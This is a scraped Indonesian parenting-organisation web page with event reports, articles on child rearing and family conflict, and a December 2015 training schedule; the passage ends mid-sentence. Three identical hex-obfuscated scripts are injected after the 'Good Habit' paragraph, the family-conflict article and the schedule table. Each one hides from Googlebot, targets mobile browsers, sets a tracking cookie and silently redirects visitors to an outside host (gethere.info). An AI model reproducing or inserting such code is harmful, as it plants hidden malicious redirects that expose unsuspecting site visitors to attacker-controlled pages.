Pelatihan Komunikasi Konselor Sebaya

Sebanyak 75 Siswa-siswi SMA Negeri 15 mengikuti workshop komunikasi  konselor sebaya, bertempat di Wisma Sejahtera Surabaya. Kegiatan ini diselenggarakan sebagai bekal kepada siswa dalam membangun budaya religius di sekolah. Acara yang berlangsung dimulai tanggal 12 sampai 13 Januari 2016.

BERKATA “TIDAK” UNTUK KEMUNGKARAN

Ayah bunda, suatu hari anak kita yang masih SMP diajak tiga teman karibnya untuk menonton tayangan film yang kurang baik. Dapatkah kita memastikan bahwa ia akan menolak ajakan tersebut? Bersyukurlah jika ayah bunda yakin bahwa anak kita akan menolaknya. Tetapi bagi mereka yang masih ragu menjawabnya, tampaknya perlu kerja keras dalam mendidiknya. Setahap demi setahap ananda menjadi lebih baik. Dan pada akhirnya ia berani menolak ajakan ‘miring’ tersebut.

Karakteristik kemunkaran yang dihadapi putra-putri kita sangatlah berbeda dibanding model kemaksiatan masa lalu. Dahulu istilah pornografi, minuman keras, apalagi narkoba adalah hal-hal yang sangat abstrak ditelinga. Sehingga sangat jaranglah kita mendekati hal-hal tersebut apalagi terjerumus ke dalamnya. Kenakalan yang sering dilakukan adalah mencuri buah tetangga atau mengambil beberapa batang tebu milik perkebunan.

Tetapi hari ini kata pornografi, minuman keras, atau bahkan narkoba terasa amat dekat dengan dunia anak-anak kita. Mereka begitu mudah mengakses atau secara tidak sengaja menjumpai pornografi, minuman keras dan bahkan narkoba di sekitar mereka. Kenyataan ini adalah ‘tantangan berat’ bagi orang tua di dalam mendidik anak-anak.

Idealnya anak-anak kita tegas menolak kemunkaran seperti di atas. Dan ini adalah buah pendidikan ayah bunda sesuai dengan sabda Rasulullah shallallaahu ‘alaihi wa sallam.

Dari Abu Said al-Khudri, dia berkata, “Aku mendengar Rasulullah bresabda, “Siapa diantara kalian melihat kemungkaran, hendaklah dia mengubahnya (mencegahnya) dengan tangannya (kekuasannya), jika dia tidak sanggup, maka dengan lisannya (menasihatinya), dan jika tidak sanggup juga, maka dengan hatinya (merasa tidak senang dan tidak setuju), dan demikian itu adalah selemah-lemah iman”. (HR Muslim)

Beberapa langkah berikut ini insya Allah dapat membantu anak-anak kita yakin menolak ajakan temannya melakukan kemunkaran.

  1. Untuk menolak kemunkaran, anak-anak mesti punya bekal pengetahuan yang cukup tentang perilaku yang baik dan buruk. Pengetahuan tersebut sebagai perangkat lunak yang mampu membedakan mana yang seharusnya dilakukan atau ditinggalkan.
  2. Pengetahuan yang memadai tidak serta-merta menjadikan seseorang mempunyai kekuatan menolak kemunkaran. Ia perlu terlatih di kehidupan nyata bagaimana menolak kemunkaran. Disinilah peran keluarga dengan memberi contoh di dalam menolak kemunkaran-kemunkaran kecil di rumah tangga. Misalnya tegas mengalihkan channel televisi jika muncul tayangan yang kurang baik.
  3. Memberi dukungan bagi anak untuk berani menolak kemunkaran dengan penghargaan dan motivasi bahwa ia telah membuat keputusan yang benar. Dukungan ini dapat mendorong tumbuh suburnya kekuatan cinta kebaikan karena mengikuti bimbingan Rasulullah shallallaahu ‘alaihi wa sallam.
  4. Beberapa anak merasa berat saat ia harus menolak kemunkaran karena tidak mempunyai keterampilan membuat keputusan. Orang tua dapat melatihnya ketika anak dihadapkan sejumlah pilihan. Berikan kesempatan untuk menentukan sikap dengan keputusan-keputusan kecil di dalam aktivitasnya.
  5. Menolak ajakan teman bagi seorang remaja adalah peristiwa besar yang sering bertentangan dengan keinginan hatinya. Orang tua perlu membantu putranya di dalam memilih kata-kata bijak saat menolak ajakan kemunkaran dari temannya.

 

Building Learning Power

Semua manusia dikarunia kesempurnaan oleh Allah. Potensi kesempurnaan inilah yang akan menghantarkan manusia kepada suksesnya kehidupan yang diinginkan. Nah, untuk mencapai itu maka diperlukan cara mengembangkan potensi yang efektif. Seminar Building Learning Power yang disamoai ustadz M. Nasik dihadapan ratusan santriwati pondok pesantren darul ulum Pamekasan akan memberikan jalan menuju pengaktifan potensi manusia yang agung. 

Good Habit for Good Character

pada tanggal 31 Desember 2015 dan 1 Januari 2016, Griya Parenting Indonesia bekerja sama dengan SD Integral Lukman al Hakim Balikpapan menyelenggarakan Training Good Habit for Good Character. Lewat program ini karakter akan dibangun melalui kebiasaan yang direncanakan dengan baik, tersistem, dan terevaluasi.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Menyiapkan Generasi Qurani Berdaya Saing Global

Menyiapkan generasi qurani berdaya saing global tema yang dipilih SD Muhammadiyah 2 Kreatif  Tulangan Sepanjang pada saat mengadakan seminar parenting skil, tanggal 6 Desember 2016, bertempat di Aula SMA Muhammadiyah 2 Sidoarjo. diikuti sekitar 600 orang wali murid.

Seni Berkomunikasi dengan Anak

Yayasan 4 Mei menggelar seminar parenting skill, Sabtu 28 November 2015, Masji AL ITQON, Pare Kediri. Dihadiri sekitar 300 wali murid SD IT Mei. Mengusung tema Seni Berkomunikasi dengan Anak, seminar ini diharapkan mampu memberikan skil  komunikasi kepada orang tua agar bisa berinteraksi dengan anaknya lebih baik lagi.

Membagi Kasih Sayang atau Mengalikannya

Oleh: Miftahul Jinan, Direktur Griya Parenting Indonesia

Seorang remaja putri memperhatikan seorang ibu yang sedang mendampingi kelima anaknya untuk bermain di taman. Ia sangat takjub melihat keakraban mereka, kemudian ia mendatangi ibu tersebut seraya berkata, “Bagaimana mungkin ibu dapat membagi kasih sayang ibu kepada kelima putra-putri ibu? Ibu tersebut menjawab, “Saya tidak sedang membagi kasih sayang saya kepada mereka, tetapi saya selalu mengalikannya.”

Jawaban ibu di atas memang terasa begitu klise, tetapi dalam kehidupan nyata kita justru lebih mudah mendapatkannya. Seorang ibu dengan kelima, keenam, bahkan kedelapan anaknya, tulus memberikan perhatian yang penuh kepada mereka. Memberi kesempatan kepada mereka untuk mengeksplorasi lingkungan sekelilingnya, dan menerima setiap kegagalan putra-putrinya dengan berempati kepada mereka.

Sang ibu dipenuhi kelembutan saat memberi tanggung jawab sesuai dengan umur dan kapasitas anak-anak. Ia pun tegas dalam menegakkan aturan yang jelas. Ia pun setia membimbing mereka dalam suka dan duka. Ia persiapkan kader terdidik dengan sentuhan reward dan punishment yang tepat saat mereka menaati atau melanggarnya.

Sosok ibu yang kurma – kesukaan – miliknya rela ia berikan kepada anak-anaknya yang masih terlihat sangat menginginkannya. Ia adalah ibu yang saat sujud malamnya selalu mengalir do’a bagi kebaikan anak-anaknya. Dan beliaulah sang ibunda yang menjadi kebanggaan bagi setiap anaknya karena teladan terbaiknya.

Maka lihatlah anak-anak yang terbimbing dari ibu dengan perwajahan seperti ini. Mereka adalah anak-anak yang berkembang kepribadiannya, mempunyai rasa cinta kepada diri dan ibunya. Kemudian ia menyebarkan cintanya kepada saudara-saudara yang lain. Dengan penuh ketulusan membimbing adik-adiknya untuk belajar. Kehidupan mereka saling memberi perhatian dan rela menopang kegagalan di antara saudaranya. Bukankah fenomena ini wujud mengalikan kasih sayang?.

Ibarat kasih sayang ibu ada 10 kemudian ia bagi untuk lima anaknya, masing-masih anak kemudian memberikan kasih sayang kepada saudara-saudaranya yang lain. Subhanallah berapa kasih sayang yang diterima oleh seorang anak dari ibunya dan dari saudara-saudaranya.

Sebaliknya seorang ibu yang hanya punya satu atau dua anak, ia memberikan kasih sayang dengan penuh kepada anaknya. Membantu setiap kebutuhan mereka. Tidak rela jika anaknya mencoba-coba untuk membantunya. Mungkin ia merasa kehadirannya malah mengganggu. Biarlah ia fokus saja pada belajar. Toh mama bisa melakukannya sendiri. Dalam benakya membatin, “Bagaimana nanti kalau jatuh atau rusak?”. Yang diinginkan adalah anaknya selalu berhasil. Sayang, tidak dibarengi dengan kesiapan menerima kegagalan putranya. Selalu menerima permintaan anak daripada menolaknya.

Mungkin kasih sayang ibu ini hanya dibagi kepada satu atau dua anaknya, tetapi kasih sayang tersebut habis diserap oleh mereka. Itu terjadi karena kurangnya kemandirian dan rasa empati kepada ibunya. Ingatlah!. Kasih sayang yang tidak pada tempatnya, perhatian yang berlebihan, tidak memberi tanggung jawab pada anak justru akan membangun anak yang kurang mandiri, minder, egois, dan kurang empati.

Tidak heran ada seorang ibu yang pernah berkata di depan saya, “Mengapa anak saya hanya satu, tetapi waktu saya habis bahkan kurang untuk mengurus satu anak ini saja. Sementara ibu saya dahulu mempunyai 9 anak, tetapi beliau mempunyai banyak waktu untuk mengikuti kegiatan-kegiatan dakwah dan sosial.”

Anak Tertekan Karena Konflik Orang Tua

<strong>Oleh: Ani Ch, penulis buku &amp; pemerhati pendidikan keluarga</strong>

Alif, 7 tahun, mogok sekolah. Mamanya sampai mengambil cuti beberapa hari dari kantor untuk mengantar Alif ke sekolah. Namun setelah selesai cuti, Alif mogok lagi, alasannya tidak mau di antar Pak Diro, ojek langganan untuk antar jemput sekolah. Akhirnya Mama Alif mengajukan ijin terlambat, seminggu full diantar oleh mamanya. Tapi, ketika jam 12 siang, Alif selalu kabur dari sekolah, padahal Alif ikut <em>fulldayschool</em>. Dengan setengah putus asa, kedua orang tuanya membawa Alif ke biro psikologi.

"Anak ini nggak punya daya juang sama sekali, makanya mogok sekolah" kata Mama. "Anak ini nggak kuat fullday school" timpal sang Papa. "Kalo dia masuk negeri seperti keinginan papanya, Alif tambah manja, makin santai belajar, belum lagi akhlaqnya tidak ada pemantauan" tutur si Mama. "Mamanya ini nggak paham, ini anak butuh perhatian, buktinya dia mau sekolah kalo diantar mamanya. Makanya saya nggak setuju dari dulu, kalau mamanya kerja" tambah si Papa. "Sudahlah pa, kita fokus sama masalah Alif" tegas si mama.

Untuk kesekian kalinya, saya perlu bersabar mendengarkan perseteruan Ayah-Ibu di meja konsultasi. Apa yang sebenarnya terjadi? Alif mogok sekolah, bukan karena tidak kuat <em>fullday school</em>, Alif anak cerdas, sangat ‘<em>capable</em>’ untuk dpat <em>fullday school</em>. Tidak murni ingin cari perhatian karena mamanya kerja. Hasil pendalaman menunjukkan anak ini mogok sekolah karena stress, tidak mau sekolah adalah bentuk protesnya karena kedua orangtuanya selalu cekcok. Si Alif merasa tidak ada keceriaan di rumah mereka. Si Alif bingung, maka dia ambil pilihan mogok.

Usut punya usut, Mama dan Papa Alif dibesarkan dari keluarga yang berbeda..mamanya adalah anak pertama yang sejak SMA sudah bersekolah sambil kerja, karena ayahnya meninggal. Papanya adalah anak bungsu dari keluarga ekonomi menengah dan terbiasa dengan kecukupan. Perbedaan latar belakang keluarga membuat mereka kurang sejalan pemikirannya, dalam hal besar maupun kecil. maka timbullah cekcok di depan anak. Cekcok yang tidak pernah diselesaikan, sehingga membuat ‘suasana panas’ dan rumah menjadi penuh rasa tidak nyaman, rumah tanpa keceriaan. Jelaslah bahwa cekcok antara kedua orangtua membuat nuansa pernikahan mereka tidak bahagia, lalu membuat anaknya tidak bahagia..

Dua orang yang berbeda, dengan pribadi berbeda pula, dengan latar belakang keluarga berbeda, dengan pemikiran yang berbeda, mereka berdua menikah dan punya anak. Perbedaan antara keduanya harus dimediasi, sebab anak-anak harus tumbuh dalam kesepahaman. Kedua orang tua harus berdialog tentang perbedaan mereka dan membuat kesepakatan tentang apa-apa yang akan mereka berlakukan. Jika kesepakatan dibuat, jadilah itu ‘visi pernikahan’, ‘visi keluarga’. Dalam kesepahaman ini, ayah ibu akan berbahagia dalam mendidik anak-anaknya. Dan anak-anak akan ikut berbahagia. Bagaimana caranya? Kita lanjutkan besok, insyaAllah.

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Agenda Kegiatan Griya Parenting Desember 2015

<table style="height: 930px;" width="978">
<tbody>
<tr>
<td style="text-align: center;" width="135"><strong>WAKTU</strong></td>
<td width="84"><strong>Pemateri</strong></td>
<td width="164"><strong>Tema Materi</strong></td>
<td width="172"><strong>INSTANSI PENGUNDANG</strong></td>
<td width="111"><strong>KOTA</strong></td>
</tr>
<tr>
<td>5 Desember 2015</td>
<td>Ust. Jinan</td>
<td>Training Parenting</td>
<td>SD Saim</td>
<td>Surabaya</td>
</tr>
<tr>
<td>5 Desember 2015</td>
<td>Tim Marketing</td>
<td>Display di TK Bakti</td>
<td></td>
<td>Gersik</td>
</tr>
<tr>
<td>6 Desember 2015</td>
<td>Ust. Jinan</td>
<td>Training Parenting</td>
<td>SD Muh 2</td>
<td>Tulangan</td>
</tr>
<tr>
<td>6 Desember 2015</td>
<td>Tim Marketing</td>
<td>Display di Psychomorning</td>
<td></td>
<td>Surabaya</td>
</tr>
<tr>
<td>12 Desember 2015</td>
<td width="84">Ibu Ani</td>
<td width="164">Training Parenting PG</td>
<td width="172">Taam Ananda</td>
<td>Surabaya</td>
</tr>
<tr>
<td>12 Desember 2015</td>
<td width="84">Tim Marketing</td>
<td width="164">Display TK Bakti</td>
<td width="172"></td>
<td>Gersik</td>
</tr>
<tr>
<td>13 Desember 2015</td>
<td>Ust. Jinan</td>
<td width="164">Training Parenting AN "</td>
<td>Taman Baca</td>
<td>Gresik</td>
</tr>
<tr>
<td>17 Desember 2015</td>
<td width="84">Ust. Jinan</td>
<td width="164">Kajian Parenting</td>
<td>Yayasan Pesantren Nurul Huda</td>
<td>Surabaya</td>
</tr>
<tr>
<td>18 Desember 2015</td>
<td width="84">Ibu Ani</td>
<td width="164">Kajian Parenting</td>
<td>TK Aba 4</td>
<td>Surabaya</td>
</tr>
<tr>
<td>19 Desember 2015</td>
<td width="84">Ust. Nasikh</td>
<td width="164">Training Parenting</td>
<td>MI M Dlopo</td>
<td>Madiun</td>
</tr>
<tr>
<td>19 Desember 2015</td>
<td>Ust. Jinan</td>
<td width="164">Parenting "sinergi sekolah</td>
<td>Min Klagen</td>
<td>Madiun</td>
</tr>
<tr>
<td>19 Desember 2015</td>
<td>Ust. Koko</td>
<td width="164">Training Parenting PG</td>
<td>TK ABA wage</td>
<td>Surabaya</td>
</tr>
<tr>
<td>20 Desember 2015</td>
<td width="84">Ust. Nasikh</td>
<td width="164">Training Parenting</td>
<td>MI Mapan</td>
<td>Madiun</td>
</tr>
<tr>
<td>20 Desember 2015</td>
<td>Ust. Jinan</td>
<td width="164">Training Parenting</td>
<td>TK Khalifah</td>
<td>Semarang</td>
</tr>
<tr>
<td>28 Desember 2015</td>
<td>Ust. Jinan</td>
<td width="164">Classroom Management</td>
<td>Yayasan Empat Mei</td>
<td>Kediri</td>
</tr>
<tr>
<td>29 Desember 2015</td>
<td>Ust. Jinan</td>
<td width="164">Classroom Management</td>
<td>Yayasan Empat Mei</td>
<td>Kediri</td>
</tr>
<tr>
<td>30 Desember 2015</td>
<td>Ust. Jinan</td>
<td width="164">Training Parenting</td>
<td>Masjid Agung</td>
<td>Gresik</td>
</tr>
</tbody>
</table><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Anak-Anak dan Kerja Keras

 

 Saya menjumpai beberapa anak muda yang melakukan aktivitasnya dengan penuh antusias, semangat dan kerja keras. Baik aktivitas tersebut berkaitan dengan kepentingannya maupun aktivitas sosial yang tidak berhubungan sama sekali dengan kepentingan dirinya.

Sebaliknya saya juga menjumpai beberapa anak muda yang tidak mampunyai gairah di dalam mengerjakan sesuatu dan tidak pernah mau bekerja keras. Baik aktivitas tersebut berkaitan dengan kepentingan dirinya apalagi aktivitas yang tidak berkaitan dengan kepentingannya.

Ada sejumlah fenomena yang dapat kita lihat, dengar dan rasakan dalam rangka menapaktilasi mengapa seorang pemuda wajahnya penuh semangat, bergairah dan rela bekerja keras? Kemudian sebaliknya, mengapa banyak pemuda lainnya ekspresinya kuyu, tanpa gairah dan sikapnya malas bekerja keras? Di antara beberapa fenomena tersebut adalah:

